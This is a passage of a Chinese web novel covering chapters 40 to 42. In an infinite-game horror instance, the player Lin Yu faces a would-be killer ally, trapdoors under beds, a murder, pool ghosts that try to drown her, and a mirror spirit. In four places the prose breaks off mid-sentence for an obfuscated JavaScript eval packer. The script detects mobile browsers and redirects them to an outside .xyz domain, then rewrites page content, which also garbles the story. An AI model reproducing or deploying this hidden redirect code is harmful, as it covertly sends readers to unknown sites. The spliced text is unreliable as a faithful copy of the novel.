如他所说,床下有一个活板,和地板砖严丝合缝地重叠,若不是他提醒,几乎看不出来。掀开活板,一根直梯暴露在光线中,它向下延伸,一直延伸到黑暗深处,不知通往何方。 没想到床下竟然有这种机关,也就是说半夜可能有人会从里面爬出来?林屿想着打了个寒颤,凝望着漆黑的地底,最后关上了活板。 今晚不是探索的好时机。 “里面是什么地方?”她直接问贺望。 “一个通道。” “通向哪里?” “很多地方,至少能通向这里的几个房间。”贺望一问一答。 林屿换了个问法,“那你是从哪里进的通道?你的房间?” “我的房间?不,你太小看这里了,健身房后面还有一个房间,我从那里进来的。” 健身房后面还有一个房间?她属实没想到那里竟然还藏了一个房间,然而进去了这么多次,完全没发现哪里有门。 “我没看到,那个房间从哪里进?”林屿把床头柜压在了活板上,然后关上了灯。在这样的夜晚,无论是灯光还是黑暗都让人没有安全感,然而灯光可能会吸引到窥探。 “我的回答可以作为今晚留下的交换吗?”贺望问道,“我已经回答了你这么多问题。” 林屿不为所动,“不能。你回答的只有一个问题,那就是你是怎么来的,我知道你来的方法和目的之后才会考虑要不要留下你。” “这么严格吗?我可是救过你。” “你也想过要害我。”林屿手里还拿着床头柜上的固体香薰,她似乎有些明白这个东西的用途了——让玩家睡得更熟,然后夜里床底下就会有东西钻出来。 她从衣柜找了件衣服把它包住,放在了柜子深处。 “是你先坑我的。”贺望说道。 “嗯,那就扯平。不过我依然记得你帮助我的事,如果你让我帮你的是这一件,我自然会让你留下。”她指的是之前用一个未来的帮助承诺来交换贺望替孙覃驱除附身灵的事。 “好吧。” “你同意了?” “我再想一想吧。”贺望叹气,“看来我又要无偿贡献出情报了。床下这个通道能通向大部分房间,健身房储物柜后面是一扇门,门后还有一个器材室,我从那里的天花板上来的,里面路很多,我只是恰好走了通往你房间这一条。” 一般人能想到从天花板上楼吗?林屿合理怀疑他有什么特殊的习性,“唔,这是你的爱好吗?阴暗爬行?” “你是不是对我有什么误解?说得好像我是什么蠕虫一样。” “那你是吗?” “……我当然不可能是蠕虫了,你在贬损我吗?” “好吧,你不是蠕虫,你是人,对吗?”林屿笑道。 贺望沉默了一会儿,“原来你怀疑我不是人,你还觉得我是NPC?” “你也不是玩家。”林屿肯定地说道,“你没有玩家的面板。” “关于我的身份你可以继续猜。”他看起来并不想继续透露下去。 “我知道了。”林屿放过这个话题,“那你为什么一定要留在我这里呢?” “有人在找我,我不能让他找到。”贺望回答得很快,“如果你让我留下,就不用担心晚上有人从床底爬出来了。” 林屿忽然明白了,“□□也有这个用途吧,所以你们‘教练’在这里,究竟能让玩家避开谁?” 贺望少见地没有给出确定的答案,“这个副本太奇怪了,我也有很多不清楚的地方,虽然有所猜测,不过还是不说出来误导你了。” “我收留你,你帮我规避危险,听起来是个很划算的交易。”林屿躺回床上,“我同意了,你好好守夜吧。” 贺望似乎有些意外,“你不多问点别的吗?比如我在躲谁,万一他找过来牵连到你,或者担心一下我是不是心怀歹意。” “那你在躲谁?”她从善如流。 “……不能告诉你,不然你很可能会去告状。” 林屿嗤笑一声,眼皮沉得打架,“那你还问什么问。” 贺望:“……” “你想多了,多一个可以合作的人总比多一个敌人好吧,而且除了我这里,你还有哪里能躲呢?只能一晚上躺别人床底下。”林屿闭上眼睛。 贺望:“……我不会一晚上躺别人床底。” 床上的人没有回应,似乎已经睡着了。 贺望起身走到床边,他步子迈得很慢,像是不想让刚刚入睡的人察觉,又似乎在经历激烈的心理斗争,他在床边凝望着毫无防备的人,轻声说道:“……抱歉了。” 林屿突然睁开眼,借着腿部的力量向侧面翻滚,“噗嗤”,轻微的裂帛声,她的原位已经插了一柄刀刃。她站在床边看着另一侧的人,“你的目的依然是杀我,临时起意?还是蓄谋已久?” “不,我……”贺望顿了顿,止住话头,“我确实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495281|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 临时起意,因为你帮了我。” “我帮你,你却要害我,这是什么逻辑?”林屿冷下脸。 他拔出钉进床头的刀刃收了起来,没有继续攻击的意图,“我的确是想帮你,方法就是杀了你,不然你只能永远留下。” “看来你不愿意。” “我的确不愿意不明不白地死掉。”林屿沉着脸,“把话说明白,什么是永远留下?” “你还没有发现吗?这个副本已经失控了,你们就快被他们隔绝在这里了。” …… 耿晴双昏昏沉沉地睡着,刚才和男友大吵一架,眼睛还是肿的,他之前鼓动她一起装食物的时候拍着胸脯保证没有问题,结果在那个恐怖NPC杀鸡儆猴之后就吓破了胆,先前还说“大不了副本失败带着吃的回去”,没想到现在生怕再次违反规则被惩罚的还是他,甚至在她从跑步机上摔下来的时候都不愿意花时间来扶一下。 分手!只能分手!她恨恨地想着,本来已经快睡着了,然而一想到这里又被气得醒过来,香氛的味道幽然馥郁,头脑阵阵发昏,她又要睡去。 就在这时,她听到了男友的闷哼,难道他还有脸生气?耿晴双烦躁地把被子往上拉,捂住耳朵,过了一会儿,她闻到了一股不同于香味的锈气。 凡是过了几个副本的玩家都不会认错,这是血的味道。 耿晴双惊疑不定地唤了一声,“劳小帅?” 没有回应。 黑暗里看不清他床上有什么,她忍着恐慌,轻手轻脚地绕过去打开灯,白色的光一下子晃了眼睛,她不得不闭了几秒钟再睁开,慢慢地转过头。 雪白的床单被染上了大片鲜红,就好像不合时宜开放的一朵一朵诡谲之花,能勾出心底的恐慌,然而最让她恐惧的,却是另一件事。 他不见了。 床上空空荡荡,只剩下沾血的枕头,他生不见人,死不见尸,和床上的被子一起不翼而飞。 耿晴双不敢再闭眼,她从背包里拿出防身的锐器——一把尖剪刀,慢慢地在屋子里搜寻,脚上的扭伤让她一瘸一拐,忽然她跌到了地上,剪刀脱手滑落到床底,让她不得不伸手去摸——她摸到了一个东西。 …… “啊啊啊啊啊啊啊!” 林屿拿着刀靠在床上,努力地维持清醒,在贺望解释他的意图之后,她没有说信或者不信,然而先前好不容易友好一点的氛围化为乌有,她重新把他放入了危险人物的范畴里。 由于贺望无论如何也不肯离开,林屿试图用技能把他从房间里丢出去,然而他却拿出了杀手锏——利用之前她欠下的人情来交换自己留下。林屿不能在这件事上拒绝他,不然等他摆脱麻烦,自己又要多一个敌人。她只得自己警醒一点,即使再困也不敢睡过去,随时注意他的动向。 就在她脑袋不知点了几下,一阵从门外传来的惊叫瞬间赶走了瞌睡,她反应了一会儿,意识到叫声是来自玩家的房间,离得有些远。 贺望躺在另一张床上,像是把自己当成了这里的主人,一点也不在意自己方才的举动或是林屿现在的警惕,听见声音只是说:“有人已经开始动手了,你们当中有几个人在今晚之前就已经出不去了,你还能抢救一下,马上自杀,就能脱离副本了。” 40. 第四十章 “我不会自杀。”林屿说道。 “即使你知道这是唯一离开的方式?” 林屿看着他,“这并不是唯一离开的方式,不然你怎么不自杀?” “因为我没有中他们的圈套,而且你知道,我不是玩家。”贺望声音放轻了一点,“我好不容易发一回善心,这次说的都是真的。” 林屿没有动摇地说道:“即使你说的是真的,我也不需要别人替我决定。” 他似乎笑了两声,“好吧,看来我做了一件错事,你明白自己的选择。” 明白吗?其实她很多时候都是不明白的,父母要她做什么她就做了,“林屿,你必须考高分”,“林屿,你必须做这个课题”,“林屿,你必须选选这个学校”,“林屿,你必须按我的职业规划走”,“林屿,你必须在三年内结婚”。无穷无尽的要求让人作呕,然而她却不知道另一条路怎么走,生活对她来说一直是没有选择的,可她来到了这里。 这里只需要选择苟活或是冒险。 因为无法预料哪条路才是生路,所以她才能按照自己的意愿一路走到底,死了大不了关小黑屋重来,就算没法重来,那也是自己的选择。 “我不需要别人替我做决定。”她又重复了一遍。 “好,下次我不会了。”贺望轻声说,“留下的话,至少你需要睡个好觉,我不会再自作主张对你做什么了。” 林屿依然整夜握着刀,只不过她没能整夜醒着,白日里的疲惫阵阵席卷,身体上的,精神上的,把她拉进黑沉梦乡。 不过贺望竟真如他所说的那样没有再做什么。第二天一早,林屿睁开眼睛,走廊的窗帘过滤了光线,一片柔和的微光下,贺望已经站在了门口,背对着她,不知在这个四面围合不透视野的地方看什么。 他背影挺拔,却有一种莫名的孤独,周身的轮廓被帘外的光线勾勒出一圈不易察觉的亮边。在这样的时刻,林屿会短暂地忘记他的身份和立场和两人的恩怨纠葛,只是沉浸于宁谧的清晨中。 林屿看了看手中的匕首,把它收回背包,现在已经用不上它了,贺望的态度捉摸不透、反复无常,但他似乎真如他所说的那样并未包藏歹意。其实在上个副本的最后,他一言不发、亦步亦趋的时候,她就没有感觉他有敌意了。 为什么,他的态度究竟是因何而转变呢?他认识自己?可惜这类问题他摆明了不愿意回答。唯一能确定的,是她以前并没有见过他,至少在已知的记忆里是没有的。 不管怎样,现在还需要通关这个副本。 林屿来到门口,“你一直在这里,有什么发现吗?” 她走到他面前,才发现他竟然一直闭着眼睛。 “你睡着了?” “没有。”贺望缓缓睁开琥珀色的眼睛,却并不解释他的行为,“我想和你再做一个交易,你帮我找一样东西。” “什么东西?”林屿问道。 “找到经理最宝贵的物品。” 林屿一听这个云里雾里的线索就皱起眉头,“能描述一下吗?你说得太玄乎了,仅靠这一句话大概没有人找得到,我总得知道那东西长什么样子吧。” 贺望想了想,形容道:“一块棕色透明的石头,里面有很多裂纹。” 林屿吐槽,“你直接说在丁经理的地方找这个东西就行了,还‘最宝贵的物品’,故意不说明白吗?” “不,那也是另一条线索,他重视那样东西。” “所以呢?我不信你没有去找过,你的身份接近他比我方便多了,说说看,都找过哪些地方?”林屿忽然想到什么,“所以你昨天躲到我这里是因为想偷经理的东西被发现了?” “怎么,难道你想告发我吗?” 林屿确实这样想过,不过在这个副本她没打算这样做,毕竟他是一个知情的、有用的,以及可以合作的助力,“你想多了,就算我告发了这里的NPC也不会告发你啊,我们还要合作不是吗?一个能在我每个副本出现的人比仅仅只在一个副本出现的人重要多了,是吧?” 贺望嘴角略微提起,“经理办公室的内外间几乎都搜过了,没有找到,我怀疑他放在身上了,你可以重点搜他的身,不过也许我有遗漏也说不定呢?” “……你这?”让她搜一个中年男NPC的身?这要求属实有些离谱了,而且他让不让还说不定呢。 林屿还想和他掰扯一下,就听见有人在敲门。贺望对她眼神示意之后,便挪开压在原本床下活板上的柜子,从这里走了。 孟锦竹鬼鬼祟祟地随着打开的门缝挤进来,比了个嘘的手势,拿出传信纸,“昨晚你写的那些是什么意思啊?” 林屿昨晚听到那些“真相”虽然自己决定留下,但还是把情况和队友们说明了一番,当时他们可能已经睡下,今天一早看到了纸上的内容就来找她了。 她解释了一下这个副本的反常之处和得到的提醒,“……总之这个副本已经不能用常理来揣测,NPC蒙蔽了系统,扭曲了规则,还给我们的食物加了料,我们在这里的伤亡很可能会从‘游戏’变为真实,现在最重要的是找到通关的办法。” 孟锦竹也意识到事情的严重性,端正了神色,“你今天打算做什么,有什么是我们能帮忙的吗?” 林屿的目光从门锁上溜了一圈,“我先去找两个管理员问问事,你们先完成今天的运动吧,下午我们汇合。” 孟锦竹犹豫了一下,“发生这样的事,要通知其他玩家吗?” 林屿知道种植者的作风向来如此,她的反应也在预料之中,“可以,不过不要说得太细,我得到的消息是有几个玩家已经吃了太多食物,和副本同化太深无法离开了,如果他们知道了这点也许会对其他玩家不利。” “什么?这么快!”孟锦竹没有想到只过了一天情况就已经严重成这个样子,“那我们岂不是必须加快进度,否则通通得留在这里!” 林屿沉重地点头。 “我得快点把这事和孙哥说。”她准备离开,然而视线却突然被房间的格局吸引了,先前来得紧急,这时才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495282|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现这里两张床的位置不一样,离得太宽了,床头柜翻倒在中间,布局十分反常,她心头一跳。 “这就是你让我们注意的暗道?” 林屿顺着她的目光看去,“是的,不过我昨晚没时间下去探索,今天大概要晚些才有时间,我猜测放夜里敲门的NPC进门实际上是有好处的——能避免床下爬出什么来,不过坏处也有,他需要我们支付额外的运动时间。” “如果能避免必死局面的话,其实我们可以多几个小时运动来让NPC留下……” “不,你听我说完,其实我不认为我们该这样做。”林屿终于把猜测说了出来,“我怀疑‘运动’也是和食物一样的,让我们和副本同化的因素之一,所以千万不能多做。” …… 林屿站在那对情侣房间外,昨夜的尖叫是个女声,做个排除法再对比一下声音,几乎可以确定是耿晴双的喊叫,她是不是看到了活板下面爬出来的东西? 孟锦竹回去和孙覃交流情报,确定下一步打算,此刻除了他们的房间和眼前这个房间,其余玩家都已经出了门,三三两两地围拢过来——他们也都听见了昨夜的尖叫。 田子阳并没有站在钱刚身边,他本就只是因为交易才容许他进门,但两人关系依旧恶劣,他手里攥着写着另外两项运动规则的纸条,随手揣到兜里,往墙壁上一靠,看着钱刚说道:“你不是很会开锁吗?现在机会来了。” 钱刚恶狠狠地瞪了田子阳一眼,连带方才给他纸条的林屿也被波及,只听“咔哒”一声,耿晴双和劳小帅房间的门锁应声而开,和她昨夜房门同样的坏法,固定门锁的螺钉断开了。 钱刚狠狠一推,率先走进去,开门的风浪挟裹着一股扑面而来的气味让外面的人皱起了眉,是血的味道。 靠近门的那张床已经被深褐的印记侵染,让所有人都确信,如果昨夜发生了凶杀案,那么一定就是在这张床上。 但是这张白黑对比分明的床却不是众人视线的焦点,所有人最先注意到的,是房梁上悬垂下来的、微微晃动的绳结。 绳结下是一张床,床上摆着床头柜。有人踩着柜子在这里自杀了。 所有人心中都浮现起一个疑问,遇害的是谁,而上吊的又是谁呢?如果昨夜他们遇到袭击,为什么会出现两种不同的死法? “那声尖叫是不是昨晚耿晴双看到她男友自杀喊的?”汪睿猜测道。 “那她的尸体呢?又是谁杀的她?”漆春反问。 “尸体不是会第二天刷新没吗?也许就是那一声吸引来了什么东西,或者违背了什么规则,所以她被杀死了。”汪睿的话语有理有据,许多人似乎都信了。 林屿进门查看了一圈,忽然指着床脚问道:“你们看那是什么?” 汪睿离得最近,待他看清那是什么东西之后猛地向后仰倒,尖叫出声,“啊啊啊啊啊啊!” “尸体还剩了点,没有被刷新。”林屿冷静地补充完后半句话。 满床干涸的血污之下,有一只沾着血的人耳。 41. 第四十一章 林屿挪开床架,露出灰尘被蹭掉,有着零星血痕的床底,那一只沾血的耳朵也完全暴露在玩家的视野中。它边缘的断口参差不齐,无法想象是一股什么样的力量让它离开了头侧的皮肉。即使这间房屋目前算得上安全,但所有人心中都升起一股寒意。 “或许是死亡时间的问题?”漆春说道,“上吊的人在系统刷新之前就死了,而后面遇害的人死亡时间太晚,所以尸体没来得及刷新。” 钱刚在屋子里转了一圈,嗤笑道:“这不是明摆着的事吗?还用得着特意讨论。”他撞开挡路的田子阳,就和开门时一样急匆匆地走了,每天八个小时的运动时间,他不敢像其他人一样悠闲。 出了门,走廊的另一头就是进行瑜伽和体操的镜子房间,然而他径直下了楼,就和昨天一样进入了健身房。他的态度和以往一样蛮横,所以谁也没有发现他的手心已经被汗水濡湿。 昨天选择在食堂无视规则多拿食物的玩家已经只剩下他一个了,无论是否因为巧合,都给他带来了极大的压力。NPC给他们三天的宽限时间,更像是一种缓慢的收割。 即使方才他嘲笑了其他人的猜测,但那只耳朵上暗红的血迹却像是留在了他的视线里。 林屿试着寻找这间房屋里的活板,把床下的瓷砖试探了个遍,然而地板纹丝不动,似乎这里并没有什么暗道,然而被蹭掉的灰尘和消失的尸体却昭示着相反的结论。 最终她伸手扣了扣地面,终于在不同音差间找到了那块地砖——果然还是在床下。但是和她房间里的不同,这一块地方怎么也打不开,就好像一块真正的地砖一样。 “你在找什么?” 林屿抬头,就看见田子阳已经凑了过来,抱着双手看着她,而房间里没有第三个人,漆春和汪睿也已经离开了。也对,在副本里死人本来也不是太罕见的事情,既然已经查看了现场,也“还原”了事件,那么就没有必要一直留在这里了。 “被子不见了,而床下的灰尘被蹭掉,还遗留下一些血痕,怎么看这里都有问题吧。”林屿回答。 “暗道?”田子阳自然把她刚才的举动看在眼里,“你怀疑凶手用被子裹起尸体带走了,就是从床下的暗道?” “他也可以大摇大摆拎着尸体走门,只不过这样说不通为什么床底有痕迹。” “那也可以是凶手一开始就藏在床底。”田子阳眯起眼睛,“你这么确定有暗道?” 林屿希望玩家知道这件事,却并不想回答自己为什么知道,于是学着他的习惯耸了耸肩,“我的直觉一向很准。” 田子阳还想再问,恰好此时她的两个队友也进门了,两人大概已经商议好要透露的事情,一脸严肃地对着田子阳说:“确实有暗道,昨晚我们听见地板下有声音,本来还以为是老鼠,现在看起来晚上并不安全。” 一个人这么想被怀疑,但三个人都这样认为,田子阳不得不反思昨夜是不是自己睡得太死没有察觉到危险降临了。 林屿趁着队友告知副本消息的时机用枕巾包裹住断耳,在三人惊疑不解的目光中把它带了出去。她回到自己的房间,把耳朵丢进衣柜里,让它和房间里的香薰一起挤在角落。 如果今夜耳朵没有消失,那么证明贺望说的是真的,在这里死亡之后没有进小黑屋的机会,而是真的人没了。 那只耳朵不像是耿晴双的,林屿推测昨天死在床上的是劳小帅,和其他人认为的死亡时间相反,她觉得是劳小帅率先出事,耿晴双看见凶案现场或者事后的血迹,这才有了那声惊叫。她求生意志不强,本就没底气通关,这件事成为了她放弃继续过副本的最后一根稻草。 从她消失的尸体来看,或许这一举动恰好让她逃过一劫,顺利脱离副本进入小黑屋。 自己房间的活板是能够翻下去的,她关上门,然后沿着直梯慢慢地往下爬了一段路,头顶的活板一放下来就是纯然的黑暗,什么也看不见。向下是一片未知的深渊,她往下了一段距离也没到底。 林屿重新爬上去回到房间。 虽然没有继续探下去,她却发现活板下的固定装置,原来其他房间里活板打不开的原因是因为这个,只有从下方手动打开才能上下,如果要关闭,只有再次回到暗道中。看来昨夜袭击玩家的NPC就是从这里来回。 那么,袭击玩家的会是谁呢?董事长,丁经理,还是□□? 想了想,她把衣柜摆了回去,床也挪了回去,让房间恢复成出厂模式。 在去那个危险NPC那里打探“合同”的事情之前,她还有两件事要做。 …… 负一楼依然冰冷、潮湿,泳池的波浪在白炽灯下折射出雪白刺眼的光线,然而更衣室却是阴暗的,此刻这一层没有别人。 林屿径直走进了男更衣室,来到上回没能打开的柜门前方,钥匙在锁孔中转动,上锁的方柜终于缓缓地露出了里面的景象。是一个空柜。 不过里面用红色的颜料涂了几行鲜艳醒目的字迹: 一定要在第一天离开! 一定要在第一天离开! 一定要在第一天离开! 红色的涂料被阴影遮挡,变成了更加暗沉的黑褐,凌乱的三行字迹旁还有一排扭曲的小字: 如果不幸的你没能在第一天离开副本,泳池将是你唯一的选择。 林屿盯着衣柜里的字出神,随后,她拿出传信纸写下了一行话。过了一会儿,孟锦竹和孙覃来到负一楼。 “你让我们过来是想做什么?不要说你想下水游泳。”孟锦竹来的时候林屿正站在泳池边,低着头不知在沉思何事,她听见声音回头望向他们。 “确实是想下水,不过不是游泳。” 孙覃不赞同地说道:“水里很危险。” “对啊!”孟锦竹压低声音,“里面可能有东西,我们之前就在水里上来的,当时脚被抓住了,一直在往水里滑,幸好孙哥的技能可以加大力气,不然我们都危险了。” 林屿让他们看过衣柜里的字之后说道:“我不游泳,但至少要下水看一看。而且你们当时是一进副本刷新在这里,现在或许会有变化。” “如果是这样的话那我下去看,我的技能比较合适。”孙覃道。 “不,你留在岸上,我绑着绳子下去,这样的机动性是最高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495283|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,危险不仅可能出现在水里,也可能出现在岸边,我在水里遇到危险可以靠你们,而你下去了哪一方遇到危险另一方都难以支援。”林屿说完以后向孟锦竹要到绳子栓在自己的腰间。 在等待他们的时候,她已经从衣柜里找到一件泳衣穿在里面,所以外套一脱就能下水。顺着扶梯往下,脚接触到冰凉的水面时忍不住一个激灵,随后整条小腿浸没到了水中。 她一点点地往下,小腿、大腿、腰部、肩膀、脖颈,她的脚站在了泳池的地面上,手依然牢牢抓住扶手。然而什么也没有发生,也没有遇到袭击。 林屿见绳子另一头被孙覃牢牢抓在手中,索性心一横,闭气下蹲,让整个身体浸没在了水中。一瞬间,周遭的世界仿佛远去,她的耳膜里充溢着水流的鼓动。 [不要。] [不要上去。] [留下来,陪着我们。] [留下来,外面危险。] 有人在说话,窃窃私语的声音顺着水流摩擦着耳道,似乎直接在脑海中出现。 林屿努力睁开眼睛,水面像是隔开了两个世界,折射的光晕让她看不清外面,也看不见同伴,只有腰上伸出一根绳子连向不知名的远方。之前约定的暗号是有危险立刻扯一下绳子,他们就会把她拉上去。 [出不去的。] [来了就出不去,只能留下来。] [很可怕。] [外面很可怕,留下来吧。] 林屿将手虚握在绳子上,尽力睁大眼睛,在一片蔚蓝的光线中,水底出现了一个又一个极其浅淡的、人的轮廓。那些轮廓密密麻麻地站在水底,覆盖着一层青灰的怨气,和厉鬼比起来这层怨气太淡了,淡到几乎透明,而他们的身体也是透明的。 即便如此,她也能感觉到,那些密密麻麻的人影都面朝着她,向她围拢过来。 林屿脊背发麻,拉扯了一下绳子,转过身准备向扶梯上方攀爬,然而背后竟然已经被人影绕到近处,他们在同一时间伸手扯住了她。 腰上的绳索发力,把她往上扯了一下,然而更多双手趁机抓住她,形成一股阻力。 [留下来。] [你会后悔的。] [别上去。] 林屿挥开抓在身上的手,握住扶手奋力向上爬去,身后人影攒动,他们似乎受到了刺激,灰气逐渐加深,面孔也逐渐清晰起来,从一开始的呆滞中醒过来,被注入了一股扭曲的活力。 [留下来。] [留下来。] [留下来。] 林屿用上技能,身体一下轻了许多,她回过头,愣了愣,再次挥开攀到身上的手,只剩下小腿上还有几道阻力。 [留下来。] [留下来。] 恰好此时腰部的绳索被施加了一股大力,借着这个势头,林屿冲破水面,破浪而出,浪花在身后高高掀起,重重落下,激起满池的涟漪。 她的身体摆脱了密密麻麻拉扯拖拽的力道,从充满浮力的水中升到空中,随后稳稳落地,心绪也缓缓坠落,她耳朵里最后听到的话语是: [你会回来的。] 42. 第四十二章 “怎么样?你没事吧?”孟锦竹拿着她的外套跑过来,一脸担忧。 林屿接过外套,却没有立刻穿上,“我得去镜子房间看看。” “看什么?我们也和你一起去完成运动吧。”孟锦竹说道。 孙覃也走过来问道:“你在水下发现什么了吗?” 林屿呼了口气,“里面有人,有很多人。” “人???”孟锦竹提高了一点声音。 “人的灵魂。”林屿接着说完整句话,“或者是影像、意识、灵体,我不确定具体是什么,但我看到了很多个这样的影像,他们就是水底那些拉扯我们的东西。” “我之前没注意到……”孟锦竹喃喃道,打了个寒颤,“原来之前扯住我的是这样的东西,幸亏我逃出来了,等等!他们不会上岸吧!” 林屿凝视着波荡的蓝色水面,从上往下能看到三人清晰的倒影,池底瓷砖白色的接缝,以及澄澈透明的水体,水下是暗藏凶险的蓝色海洋,水上是风平浪静的寻常房间,那些一个个伫立在水面之下的人影,已经窥不到一点存在的痕迹。 “不会。我去二楼的房间是为了确认一件事。”林屿顿了顿,“刚才不知道是不是我的错觉,我好像看到了一张……不该出现的脸。” 没等他们接话,她就继续说道:“那个男玩家……劳小帅,似乎也在其中。” “什么!”两人露出震惊的神色。 换好衣服,随意擦了擦头发,林屿就和两人向楼上走去,二楼镜子房间的大门是关上的,似乎有人在里面。她想起了自己给田子阳的消息,猜测他今天可能选在这里运动,于是对队友说道:“看来我们来得不巧,不如我们也先去完成‘任务’再继续行动吧。” 说话间,门开了,田子阳喘着气走出来,他略微意外地从堵在门口的三人身上看了一圈,打招呼,“好巧,你们也是来这里运动的吗?” 队友应和了几句,林屿看着他走出来,心里不由自主想起了他的技能,所有玩家第一天都被带到了负一楼集合,那么他究竟有没有发现水下的“灵魂”呢? 田子阳寒暄之后把目光投向林屿,“你似乎有话想说。” “你有去泳池边看过吗?”林屿于是直接问了。 “你也看见了?不过我想不用我提醒,没有人会放着已知的安全选项不选,非要去那个地方游泳吧……等等,你头发是湿的,你下水了?” “我在水里发现一点有意思的东西,关乎这个副本的秘密,你有没有兴趣合作,找到离开副本的方法?” 田子阳眉毛一扬,“合作?” “是的,你配合我的行动,我分享我的发现。” 两个队友对视一眼,没有打断他们的交谈,其实按照他们原本的想法,是把已经确定或者大概率确定的部分对其他玩家广而告之,让他们提高警惕,不过现在用情报换取行动的配合这个办法似乎也不错。 之前他们已经告诉其他玩家床底的情况,不过还没有说出不去的事,毕竟这只是推测。 “你想让我配合什么?”田子阳低声问道,“希望你告诉我的不是我也能发现的东西。” 会交易情报的人本身对信息也有十足的渴望,何况先前他就已经这样做过了,有了上回顺利的交易,第二次也就顺理成章。 “晚上你仍然住在我的隔壁,但是不要让钱刚进门,让他去住那间空的房间。” “不算困难的要求,我答应了。”田子阳并没有思考多久,“你在水底发现了什么?” “之前那个男玩家,他似乎也成了水底的一员。” 田子阳的眼睛瞪大了,就像是受到了极度惊吓,他的瞳孔缩成很小的一点,最后缓缓回过神,“你的发现……如果是这样的话,那我们就危险了。” 他结合这一两天的经历,很快就反应过来她说的是什么事。 “所以我希望合作。”林屿看着他,“你选的哪一项?有遇到什么鬼魂和灵体吗?” “体操,我怎么会选危险的项目?里面有灵体吗,我没注意看,毕竟这些镜子一看就不是好东西。” 他有着和浮夸做派不一样的谨慎。 “之后有发现会告诉你的,不过,你也需要把发现告诉我们。” 林屿绕过他走进房间,忽然听他说道:“我看出来了,其实你们是一起进来的吧?钱刚,那个傻子,还以为自己捏了个软柿子。” 等他走后,孙覃问道:“钱刚……就是那个第一天带头违规的玩家,他和你不对付?” 林屿耸耸肩,“一点私人恩怨。”说完直接在签到表的瑜伽栏写下了自己的名字,“确定吗?之前灵体附身的原因是你看了很久镜子。” 孙覃:“大概率是这样,不然就是纯粹的巧合……不过,这很危险,你真的一定要把她找出来吗?万一你被附身了怎么办?要不先把之前帮忙的那个人叫来?” 在上楼的时候林屿已经从他嘴里问到了上回他选择瑜伽之后经历的一切,她想找到那个被董事长吓走的灵体,她怀疑那个灵体是和水下那些一样的存在。水下的人影太多了,而且他们呆滞、迟缓、总是重复同样的话,而镜子房间里的那个至少能认出人来,不然也不会被吓走。 找到她,然后问出副本的情报——这就是林屿冒着风险选择瑜伽的原因。 “如果我被附身了,实在不行你们就把我绑了去见董事长。”林屿冷静地说道。 “那我们也填上名字,完成一下每日任务吧。”孟锦竹拿起笔。 “等等……”孙覃想要叫住她,不过孟锦竹没有停下,她书写之后抬起头解释道:“虽说这些‘运动项目’很可能对我们有害,但这是一个缓慢的进程,而完不成任务的危险是一定的,你忘了……” 她指了指地板,示意床下的活板页,“要是被选中的优先级是按照违规的次数和程度来算的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495284|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那我们不按照规则来今晚就危险了。” 林屿补充道:“除非我们今天就能找到离开的办法。” 玩家就可悲在这里,在这一场场的“游戏”中,他们身不由己,即使知道危险就在前方,为了避免能够预见的、近在咫尺的危机,不得不走入另一条相对缓慢的,却相当于慢性自杀的道路来代替。 “所以你们知道我为什么一定要找那个灵了吧,放心,我也有一些应对方法。”林屿话语落下,对面两个人就不见了,而镜子里出现了一个坐在瑜伽垫上的泛着白光的身影。 她注意到,随着空间的隔离,原本的桌台、纸笔,以及 两小时的运动时间开始了。 那个身影和领操的人影一样,长着和她一样的脸,林屿放下一张卷起来的塑胶垫,开始模仿她的动作,在最开始,她留意着视线的落点,尽量不去看她的脸。 她需要先观察一会儿,看看有没有其它异常的地方。 很可惜,时间已经过去大半,周围的镜子里依然没有出现别的东西。她最后抬起头,目不转睛地盯着镜子里“自己”那张泛着光的脸看。 几个动作的时间过去,林屿意识有一瞬的恍惚,她看着镜子墙面,忽然在想,“她”之前的笑容有那么深吗? 下一个是压腿运动,她刚把腿伸直,眼前就开始阵阵发黑,但最重要的是她没有意识到这种不对劲。 恍惚间,她似乎看见镜子里的“自己”高高扬起了嘴角,张口轻轻吐出一个字。 “死。” 